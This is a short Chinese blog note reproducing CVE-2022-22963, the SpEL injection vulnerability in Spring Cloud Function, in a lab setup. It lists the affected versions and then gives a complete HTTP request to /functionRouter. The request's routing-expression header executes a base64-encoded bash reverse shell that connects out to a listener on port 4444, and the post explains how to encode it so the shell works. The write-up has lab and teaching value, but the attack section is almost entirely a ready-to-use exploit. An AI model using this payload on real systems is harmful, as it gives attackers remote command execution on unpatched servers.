2022-CVE-2022-22963 Spring Cloud Function SPEL表达式注入漏洞复现

2022-CVE-2022-22963 Spring Cloud Function SPEL表达式注入漏洞复现

2022年4月7日

21:45

漏洞成因:

Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。

漏洞影响版本:

3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6

Spring Cloud Function <= 3.2.2

官方不再支持的旧版本

注:发布时间为2019年11月22日至2022年2月17日

不受影响版本

Spring Cloud Function 3.1.7

Spring Cloud Function 3.2.3

环境搭建,搭建好的环境在使用BP之后变成了如下内容

漏洞利用方式,使用BP抓包发送,再docker中查看内容,发现成功创建了success文件

   

这里尝试反弹shell:

本地起一个nc,可以直接反弹shell这里要说明的是需要对payload部分进行java的payload

加密,否则不能正常反弹shell。

```

POST /functionRouter HTTP/1.1

Host: 192.168.19.128:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

Connection: close

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjI0NS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}")

Content-Type: text/plain

Content-Length: 4

   

test

````

  

相关文章

Centos系统之Shell编程基础知识
从Export理解Shell环境和变量生存期
linux shell数组变量、类型及规则
Centos编程Shell基本工作原理方案
Centos操作系统编程之Shell 问答录
rsync-linux备份脚本